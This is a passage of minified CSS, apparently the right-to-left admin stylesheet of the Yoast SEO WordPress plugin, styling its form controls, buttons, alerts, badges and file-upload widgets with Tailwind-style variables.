textarea:focus{--tw-ring-inset:var(--tw-empty,/*!*/ /*!*/);--tw-ring-offset-width:0px;--tw-ring-offset-color:#fff;--tw-ring-color:#2563eb;--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);border-color:#2563eb;box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow);outline:2px solid #0000;outline-offset:2px}.yst-root textarea::placeholder{color:#6b7280;opacity:1}.yst-root select{--tw-shadow:0 0 #0000;-webkit-appearance:none;appearance:none;background-color:#fff;border-color:#6b7280;border-radius:0;border-width:1px;font-size:1rem;line-height:1.5rem;padding:.5rem .75rem}.yst-root select:focus{--tw-ring-inset:var(--tw-empty,/*!*/ /*!*/);--tw-ring-offset-width:0px;--tw-ring-offset-color:#fff;--tw-ring-color:#2563eb;--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);border-color:#2563eb;box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow);outline:2px solid #0000;outline-offset:2px}.yst-root select{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='none' viewBox='0 0 20 20'%3E%3Cpath stroke='%236b7280' stroke-linecap='round' stroke-linejoin='round' stroke-width='1.5' d='m6 8 4 4 4-4'/%3E%3C/svg%3E");background-position:left .5rem center;background-repeat:no-repeat;background-size:1.5em 1.5em;padding-left:2.5rem;-webkit-print-color-adjust:exact;print-color-adjust:exact}.yst-root select[multiple]{--tw-shadow:0 0 #0000;-webkit-appearance:none;appearance:none;background-color:#fff;border-color:#6b7280;border-radius:0;border-width:1px;font-size:1rem;line-height:1.5rem;padding:.5rem .75rem}.yst-root select[multiple]:focus{--tw-ring-inset:var(--tw-empty,/*!*/ /*!*/);--tw-ring-offset-width:0px;--tw-ring-offset-color:#fff;--tw-ring-color:#2563eb;--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);border-color:#2563eb;box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow);outline:2px solid #0000;outline-offset:2px}.yst-root [type=checkbox]{--tw-shadow:0 0 #0000;-webkit-appearance:none;appearance:none;background-color:#fff;background-origin:border-box;border-color:#6b7280;border-radius:0;border-width:1px;color:#2563eb;display:inline-block;flex-shrink:0;height:1rem;padding:0;-webkit-print-color-adjust:exact;print-color-adjust:exact;-webkit-user-select:none;user-select:none;vertical-align:middle;width:1rem}.yst-root [type=checkbox]:focus{--tw-ring-inset:var(--tw-empty,/*!*/ /*!*/);--tw-ring-offset-width:2px;--tw-ring-offset-color:#fff;--tw-ring-color:#2563eb;--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow);outline:2px solid #0000;outline-offset:2px}.yst-root [type=checkbox]:checked{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg viewBox='0 0 16 16' fill='%23fff' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M12.207 4.793a1 1 0 0 1 0 1.414l-5 5a1 1 0 0 1-1.414 0l-2-2a1 1 0 0 1 1.414-1.414L6.5 9.086l4.293-4.293a1 1 0 0 1 1.414 0z'/%3E%3C/svg%3E");background-position:50%;background-repeat:no-repeat;background-size:100% 100%}.yst-root [type=checkbox]:checked,.yst-root [type=checkbox]:checked:focus,.yst-root [type=checkbox]:checked:hover,.yst-root [type=checkbox]:indeterminate{background-color:currentColor;border-color:#0000}.yst-root [type=checkbox]:indeterminate{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='none' viewBox='0 0 16 16'%3E%3Cpath stroke='%23fff' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='M4 8h8'/%3E%3C/svg%3E");background-position:50%;background-repeat:no-repeat;background-size:100% 100%}.yst-root [type=checkbox]:indeterminate:focus,.yst-root [type=checkbox]:indeterminate:hover{background-color:currentColor;border-color:#0000}.yst-root [type=radio]{--tw-shadow:0 0 #0000;-webkit-appearance:none;appearance:none;background-color:#fff;background-origin:border-box;border-color:#6b7280;border-radius:100%;border-width:1px;color:#2563eb;display:inline-block;flex-shrink:0;height:1rem;padding:0;-webkit-print-color-adjust:exact;print-color-adjust:exact;-webkit-user-select:none;user-select:none;vertical-align:middle;width:1rem}.yst-root [type=radio]:focus{--tw-ring-inset:var(--tw-empty,/*!*/ /*!*/);--tw-ring-offset-width:2px;--tw-ring-offset-color:#fff;--tw-ring-color:#2563eb;--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow);outline:2px solid #0000;outline-offset:2px}.yst-root [type=radio]:checked{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg viewBox='0 0 16 16' fill='%23fff' xmlns='http://www.w3.org/2000/svg'%3E%3Ccircle cx='8' cy='8' r='3'/%3E%3C/svg%3E");background-position:50%;background-repeat:no-repeat;background-size:100% 100%}.yst-root [type=radio]:checked,.yst-root [type=radio]:checked:focus,.yst-root [type=radio]:checked:hover{background-color:currentColor;border-color:#0000}.yst-root{--tw-text-opacity:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;color:rgb(71 85 105/var(--tw-text-opacity));font-family:ui-sans-serif,system-ui,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Arial,Noto Sans,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol,Noto Color Emoji;font-size:.8125rem;font-weight:400;line-height:1.5}.yst-root a{--tw-text-opacity:1;color:rgb(79 70 229/var(--tw-text-opacity));-webkit-text-decoration-line:underline;text-decoration-line:underline}.yst-root a:visited{color:#a61e69}.yst-root a:hover{--tw-text-opacity:1;color:rgb(99 102 241/var(--tw-text-opacity))}.yst-root a:hover:visited{color:#b94986}.yst-root a:focus{--tw-text-opacity:1;border-radius:.125rem;color:rgb(99 102 241/var(--tw-text-opacity));outline-color:#4f46e5;outline-offset:1px;outline-style:solid}.yst-root [type=date]::placeholder,.yst-root [type=datetime-local]::placeholder,.yst-root [type=email]::placeholder,.yst-root [type=month]::placeholder,.yst-root [type=number]::placeholder,.yst-root [type=password]::placeholder,.yst-root [type=search]::placeholder,.yst-root [type=tel]::placeholder,.yst-root [type=text]::placeholder,.yst-root [type=time]::placeholder,.yst-root [type=url]::placeholder,.yst-root [type=week]::placeholder,.yst-root textarea::placeholder{--tw-placeholder-opacity:1;color:rgb(100 116 139/var(--tw-placeholder-opacity))}.yst-root svg path{stroke-width:inherit}.yst-root .yst-radio__input,.yst-root a:focus{--tw-shadow:0 0 #0000;--tw-shadow-colored:0 0 #0000;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow)}.yst-root .yst-radio__input{transition-property:none}.yst-root .yst-radio__input:checked:before{content:var(--tw-content);display:none}.yst-root .yst-modal{z-index:100000!important}.yst-root dd,.yst-root li{margin-bottom:0}.yst-root input[type=date],.yst-root input[type=datetime-local],.yst-root input[type=datetime],.yst-root input[type=email],.yst-root input[type=month],.yst-root input[type=number],.yst-root input[type=password],.yst-root input[type=search],.yst-root input[type=tel],.yst-root input[type=text],.yst-root input[type=time],.yst-root input[type=url],.yst-root input[type=week]{min-height:0}.yst-root input[type=checkbox]{--tw-shadow:0 0 #0000;--tw-shadow-colored:0 0 #0000;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);min-height:0;min-width:0;transition-property:none}.yst-root input[type=checkbox]:before{--tw-content:none;content:var(--tw-content)}*,::backdrop,:after,:before{--tw-border-spacing-x:0;--tw-border-spacing-y:0;--tw-translate-x:0;--tw-translate-y:0;--tw-rotate:0;--tw-skew-x:0;--tw-skew-y:0;--tw-scale-x:1;--tw-scale-y:1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness:proximity;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width:0px;--tw-ring-offset-color:#fff;--tw-ring-color:#3b82f680;--tw-ring-offset-shadow:0 0 #0000;--tw-ring-shadow:0 0 #0000;--tw-shadow:0 0 #0000;--tw-shadow-colored:0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: }.yst-root .yst-alert{border-radius:.375rem;display:flex;gap:.75rem;padding:1rem}.yst-root .yst-alert--info{--tw-bg-opacity:1;background-color:rgb(219 234 254/var(--tw-bg-opacity))}.yst-root .yst-alert--info .yst-alert__message{--tw-text-opacity:1;color:rgb(30 64 175/var(--tw-text-opacity))}.yst-root .yst-alert--warning{--tw-bg-opacity:1;background-color:rgb(254 243 199/var(--tw-bg-opacity))}.yst-root .yst-alert--warning .yst-alert__message{--tw-text-opacity:1;color:rgb(146 64 14/var(--tw-text-opacity))}.yst-root .yst-alert--success{--tw-bg-opacity:1;background-color:rgb(220 252 231/var(--tw-bg-opacity))}.yst-root .yst-alert--success .yst-alert__message{--tw-text-opacity:1;color:rgb(22 101 52/var(--tw-text-opacity))}.yst-root .yst-alert--error{--tw-bg-opacity:1;background-color:rgb(254 226 226/var(--tw-bg-opacity))}.yst-root .yst-alert--error .yst-alert__message{--tw-text-opacity:1;color:rgb(153 27 27/var(--tw-text-opacity))}.yst-root .yst-alert__icon{flex-grow:0;flex-shrink:0;height:1.25rem;width:1.25rem}.yst-root .yst-autocomplete{position:relative}.yst-root .yst-autocomplete--error .yst-autocomplete__button{--tw-border-opacity:1;border-color:rgb(252 165 165/var(--tw-border-opacity))}.yst-root .yst-autocomplete--error .yst-autocomplete__button:focus{--tw-border-opacity:1;--tw-ring-opacity:1;--tw-ring-color:rgb(239 68 68/var(--tw-ring-opacity));border-color:rgb(239 68 68/var(--tw-border-opacity));outline:2px solid #0000;outline-offset:2px}.yst-root .yst-autocomplete--error .yst-autocomplete__input::placeholder{--tw-placeholder-opacity:1;color:rgb(252 165 165/var(--tw-placeholder-opacity))}.yst-root .yst-autocomplete--disabled{cursor:not-allowed;opacity:.5}.yst-root .yst-autocomplete--disabled:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000)}.yst-root .yst-autocomplete--disabled .yst-autocomplete__input{cursor:not-allowed}.yst-root .yst-autocomplete--disabled .yst-autocomplete__input:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000)}.yst-root .yst-autocomplete--disabled .yst-autocomplete__button{cursor:not-allowed}.yst-root .yst-autocomplete--disabled .yst-autocomplete__button:focus-within{--tw-border-opacity:1;--tw-ring-opacity:1;--tw-ring-color:rgb(226 232 240/var(--tw-ring-opacity));border-color:rgb(226 232 240/var(--tw-border-opacity));outline:2px solid #0000;outline-offset:2px}.yst-root .yst-autocomplete__button{--tw-bg-opacity:1;--tw-shadow:0 1px 2px 0 #0000000d;--tw-shadow-colored:0 1px 2px 0 var(--tw-shadow-color);--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-opacity:1;--tw-ring-color:rgb(203 213 225/var(--tw-ring-opacity));align-items:center;background-color:rgb(255 255 255/var(--tw-bg-opacity));border-radius:.375rem;border-width:0;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);display:flex;padding-right:.75rem;padding-left:.75rem;width:100%}.yst-root .yst-autocomplete__button:focus-within{--tw-border-opacity:1;--tw-ring-opacity:1;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity));border-color:rgb(166 30 105/var(--tw-border-opacity));outline:2px solid #0000;outline-offset:2px}.yst-root .yst-autocomplete__button-icon{--tw-text-opacity:1;color:rgb(148 163 184/var(--tw-text-opacity));height:1.25rem;pointer-events:none;position:absolute;left:.625rem;top:.6875rem;width:1.25rem}.yst-root .yst-autocomplete__input{--tw-text-opacity:1;--tw-shadow:0 0 #0000;--tw-shadow-colored:0 0 #0000;border-width:0;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);color:rgb(30 41 59/var(--tw-text-opacity));font-size:.8125rem;padding:.5rem 0 .5rem 2.5rem;width:100%}.yst-root .yst-autocomplete__input:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000)}.yst-root .yst-autocomplete__options{--tw-bg-opacity:1;--tw-shadow:0 10px 15px -3px #0000001a,0 4px 6px -4px #0000001a;--tw-shadow-colored:0 10px 15px -3px var(--tw-shadow-color),0 4px 6px -4px var(--tw-shadow-color);--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-color:rgb(0 0 0/var(--tw-ring-opacity));--tw-ring-opacity:0.05;background-color:rgb(255 255 255/var(--tw-bg-opacity));border-radius:.375rem;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);font-size:.8125rem;margin-top:.25rem;max-height:15rem;overflow:auto;position:absolute;width:100%;z-index:20}.yst-root .yst-autocomplete__options:focus{outline:2px solid #0000;outline-offset:2px}.yst-root .yst-autocomplete__option{--tw-text-opacity:1;align-items:center;color:rgb(51 65 85/var(--tw-text-opacity));cursor:default;display:flex;justify-content:space-between;padding:.5rem .75rem;position:relative;-webkit-user-select:none;user-select:none}.yst-root .yst-autocomplete__option--active{--tw-bg-opacity:1;background-color:rgb(226 232 240/var(--tw-bg-opacity))}.yst-root .yst-autocomplete__option--selected{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(166 30 105/var(--tw-bg-opacity));color:rgb(255 255 255/var(--tw-text-opacity))}.yst-root .yst-select__option-label{display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.yst-root .yst-autocomplete__option-check{--tw-text-opacity:1;color:rgb(255 255 255/var(--tw-text-opacity));flex-shrink:0;height:1.25rem;width:1.25rem}.yst-root .yst-badge{--tw-bg-opacity:1;--tw-text-opacity:1;align-items:center;background-color:rgb(219 234 254/var(--tw-bg-opacity));border-radius:9999px;color:rgb(30 64 175/var(--tw-text-opacity));display:inline-flex;font-size:.75rem;font-weight:500;line-height:1.25;padding:.125rem .5rem;vertical-align:middle;white-space:nowrap}.yst-root .yst-badge--info{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(191 219 254/var(--tw-bg-opacity));color:rgb(30 58 138/var(--tw-text-opacity))}.yst-root .yst-badge--upsell{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(253 230 138/var(--tw-bg-opacity));color:rgb(120 53 15/var(--tw-text-opacity))}.yst-root .yst-badge--plain{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(226 232 240/var(--tw-bg-opacity));color:rgb(15 23 42/var(--tw-text-opacity))}.yst-root .yst-badge--small{font-size:.675rem}.yst-root .yst-badge--large{font-size:1rem;padding-right:.75rem;padding-left:.75rem}.yst-root .yst-button{--tw-shadow:0 1px 2px 0 #0000000d;--tw-shadow-colored:0 1px 2px 0 var(--tw-shadow-color);--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-inset:inset;--tw-ring-color:#0000;align-items:center;border-radius:.375rem;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);cursor:pointer;display:inline-flex;font-size:.8125rem;font-weight:500;justify-content:center;line-height:1.25rem;padding:.5rem .75rem;text-align:center;-webkit-text-decoration-line:none;text-decoration-line:none}.yst-root .yst-button:focus{outline-color:#a61e69;outline-offset:2px;outline-style:solid;outline-width:2px}.yst-root a.yst-button:focus{border-radius:.375rem}.yst-root .yst-button--primary{--tw-bg-opacity:1;--tw-text-opacity:1;--tw-ring-color:#0000;background-color:rgb(166 30 105/var(--tw-bg-opacity));color:rgb(255 255 255/var(--tw-text-opacity))}.yst-root .yst-button--primary:visited{color:#fff}.yst-root .yst-button--primary:hover{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(143 15 87/var(--tw-bg-opacity));color:rgb(255 255 255/var(--tw-text-opacity))}.yst-root .yst-button--primary:hover:visited{color:#fff}.yst-root .yst-button--primary:focus{--tw-text-opacity:1;color:rgb(255 255 255/var(--tw-text-opacity));outline-color:#8f0f57}.yst-root .yst-button--secondary{--tw-bg-opacity:1;--tw-text-opacity:1;--tw-ring-opacity:1;--tw-ring-color:rgb(203 213 225/var(--tw-ring-opacity));background-color:rgb(255 255 255/var(--tw-bg-opacity));color:rgb(30 41 59/var(--tw-text-opacity))}.yst-root .yst-button--secondary:visited{color:#1e293b}.yst-root .yst-button--secondary:hover{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(248 250 252/var(--tw-bg-opacity));color:rgb(30 41 59/var(--tw-text-opacity))}.yst-root .yst-button--secondary:hover:visited{color:#1e293b}.yst-root .yst-button--secondary:focus{--tw-text-opacity:1;color:rgb(30 41 59/var(--tw-text-opacity));outline-color:#8f0f57}.yst-root .yst-button--tertiary{--tw-text-opacity:1;--tw-shadow:0 0 #0000;--tw-shadow-colored:0 0 #0000;--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(var(--tw-ring-offset-width)) var(--tw-ring-color);background-color:initial;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);color:rgb(166 30 105/var(--tw-text-opacity))}.yst-root .yst-button--tertiary:visited{color:#83084e}.yst-root .yst-button--tertiary:hover{--tw-text-opacity:1;color:rgb(131 8 78/var(--tw-text-opacity))}.yst-root .yst-button--tertiary:hover:visited{color:#83084e}.yst-root .yst-button--tertiary:focus{--tw-text-opacity:1;color:rgb(131 8 78/var(--tw-text-opacity));outline-color:#8f0f57}.yst-root .yst-button--error{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(220 38 38/var(--tw-bg-opacity));border-color:#0000;color:rgb(255 255 255/var(--tw-text-opacity))}.yst-root .yst-button--error:visited{color:#fff}.yst-root .yst-button--error:hover{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(185 28 28/var(--tw-bg-opacity));color:rgb(255 255 255/var(--tw-text-opacity))}.yst-root .yst-button--error:hover:visited{color:#fff}.yst-root .yst-button--error:focus{--tw-text-opacity:1;color:rgb(255 255 255/var(--tw-text-opacity));outline-color:#dc2626}.yst-root .yst-button--upsell{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(252 211 77/var(--tw-bg-opacity));border-color:#0000;color:rgb(120 53 15/var(--tw-text-opacity))}.yst-root .yst-button--upsell:visited{color:#78350f}.yst-root .yst-button--upsell:hover{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(251 191 36/var(--tw-bg-opacity));color:rgb(120 53 15/var(--tw-text-opacity))}.yst-root .yst-button--upsell:hover:visited{color:#78350f}.yst-root .yst-button--upsell:focus{--tw-text-opacity:1;color:rgb(120 53 15/var(--tw-text-opacity));outline-color:#fbbf24}.yst-root .yst-button--large{font-size:.875rem;line-height:1.5rem;padding:.5rem .75rem}.yst-root .yst-button--extra-large{font-size:1rem;line-height:1.5rem;padding:.625rem .875rem}.yst-root .yst-button--small{font-size:.75rem;line-height:1rem;padding:.375rem .625rem}.yst-root .yst-button--disabled{cursor:not-allowed;opacity:.5}.yst-root .yst-button--disabled:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000)}.yst-root .yst-checkbox{align-items:center;display:flex}.yst-root .yst-checkbox--disabled .yst-checkbox__input,.yst-root .yst-checkbox--disabled .yst-checkbox__label{cursor:not-allowed;opacity:.5}.yst-root .yst-checkbox__input{--tw-border-opacity:1;--tw-text-opacity:1;border-color:rgb(203 213 225/var(--tw-border-opacity));border-radius:.25rem;color:rgb(166 30 105/var(--tw-text-opacity));height:1rem;width:1rem}.yst-root .yst-checkbox__input:focus{--tw-ring-opacity:1;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity))}.yst-root .yst-checkbox__label{margin-right:.75rem}.yst-root .yst-code{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(226 232 240/var(--tw-bg-opacity));border-radius:.25rem;color:rgb(15 23 42/var(--tw-text-opacity));display:inline-block;font-size:.75rem;line-height:1.25;margin:0;padding:.25rem}.yst-root .yst-code--block{display:block;margin-bottom:.5rem;margin-top:.5rem;max-width:100%;overflow-x:auto;padding:.25rem .5rem;white-space:nowrap}.yst-root .yst-file-input{--tw-border-opacity:1;--tw-bg-opacity:1;background-color:rgb(255 255 255/var(--tw-bg-opacity));border:2px dashed rgb(203 213 225/var(--tw-border-opacity));border-radius:.375rem;padding:1.25rem 1.5rem 1.5rem;text-align:center;transition-duration:.3s;transition-property:all;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-timing-function:cubic-bezier(0,0,.2,1);width:100%}.yst-root .yst-file-input.yst-is-drag-over{--tw-border-opacity:1;--tw-bg-opacity:1;background-color:rgb(250 243 247/var(--tw-bg-opacity));border-color:rgb(205 130 171/var(--tw-border-opacity))}.yst-root .yst-file-input.yst-is-drag-over .yst-file-input__content{pointer-events:none}.yst-root .yst-file-input.yst-is-drag-over .yst-file-input__icon{--tw-translate-y:-0.5rem;--tw-text-opacity:1;color:rgb(185 73 134/var(--tw-text-opacity));transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skewX(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.yst-root .yst-file-input.yst-is-disabled{cursor:not-allowed;opacity:.5}.yst-root .yst-file-input.yst-is-disabled .yst-file-input__select-label{cursor:not-allowed}.yst-root .yst-file-input__content{align-items:center;display:inline-flex;flex-direction:column;max-width:20rem}.yst-root .yst-file-input__content>:not([hidden])~:not([hidden]){--tw-space-y-reverse:0;margin-bottom:calc(.25rem*var(--tw-space-y-reverse));margin-top:calc(.25rem*(1 - var(--tw-space-y-reverse)))}.yst-root .yst-file-input__content{text-align:center}.yst-root .yst-file-input__icon{stroke-width:1;--tw-text-opacity:1;color:rgb(148 163 184/var(--tw-text-opacity));height:3rem;margin-right:auto;margin-left:auto;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skewX(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y));transition-duration:.3s;transition-property:all;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-timing-function:cubic-bezier(0,0,.2,1);width:3rem}.yst-root .yst-file-input__icon>path{stroke-width:1}.yst-root .yst-file-input__input{clip:rect(0,0,0,0);border-width:0;height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;white-space:nowrap;width:1px}.yst-root .yst-file-input__input:focus+.yst-file-input__select-label{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-opacity:1;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity));--tw-ring-offset-width:2px;box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);outline:2px solid #0000;outline-offset:2px}.yst-root .yst-file-input__labels{--tw-text-opacity:1;color:rgb(30 41 59/var(--tw-text-opacity));display:inline-block;font-weight:400}.yst-root .yst-file-input__select-label{border-radius:.375rem;font-weight:500}[dir=rtl] .yst-root .yst-file-input__labels{flex-direction:row-reverse}.yst-root .yst-label{--tw-text-opacity:1;color:rgb(30 41 59/var(--tw-text-opacity));font-size:.8125rem;font-weight:500}.yst-root .yst-link{--tw-text-opacity:1;color:rgb(79 70 229/var(--tw-text-opacity));cursor:pointer;-webkit-text-decoration-line:underline;text-decoration-line:underline}.yst-root .yst-link:visited{color:#a61e69}.yst-root .yst-link:hover{--tw-text-opacity:1;color:rgb(99 102 241/var(--tw-text-opacity))}.yst-root .yst-link:hover:visited{color:#b94986}.yst-root .yst-link:focus{--tw-text-opacity:1;--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-opacity:1;--tw-ring-color:rgb(79 70 229/var(--tw-ring-opacity));--tw-ring-offset-width:1px;--tw-ring-offset-color:#0000;border-radius:.125rem;box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);color:rgb(99 102 241/var(--tw-text-opacity));outline:2px solid #0000;outline-offset:2px}.yst-root .yst-link--primary{--tw-text-opacity:1;color:rgb(154 22 96/var(--tw-text-opacity))}.yst-root .yst-link--primary:focus,.yst-root .yst-link--primary:hover{--tw-text-opacity:1;color:rgb(166 30 105/var(--tw-text-opacity))}.yst-root .yst-link--primary:focus{--tw-ring-opacity:1;--tw-ring-color:rgb(154 22 96/var(--tw-ring-opacity))}.yst-root .yst-link--error{--tw-text-opacity:1;color:rgb(220 38 38/var(--tw-text-opacity))}.yst-root .yst-link--error:focus,.yst-root .yst-link--error:hover{--tw-text-opacity:1;color:rgb(239 68 68/var(--tw-text-opacity))}.yst-root .yst-link--error:focus{--tw-ring-opacity:1;--tw-ring-color:rgb(220 38 38/var(--tw-ring-opacity))}.yst-root .yst-paper{--tw-bg-opacity:1;--tw-shadow:0 1px 3px 0 #0000001a,0 1px 2px -1px #0000001a;--tw-shadow-colored:0 1px 3px 0 var(--tw-shadow-color),0 1px 2px -1px var(--tw-shadow-color);background-color:rgb(255 255 255/var(--tw-bg-opacity));border-radius:.5rem;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);display:flex;flex-direction:column}.yst-root .yst-paper__header{border-bottom-width:1px;padding:2rem}.yst-root .yst-paper__content{flex-grow:1;padding:2rem}.yst-root .yst-progress-bar{--tw-bg-opacity:1;background-color:rgb(226 232 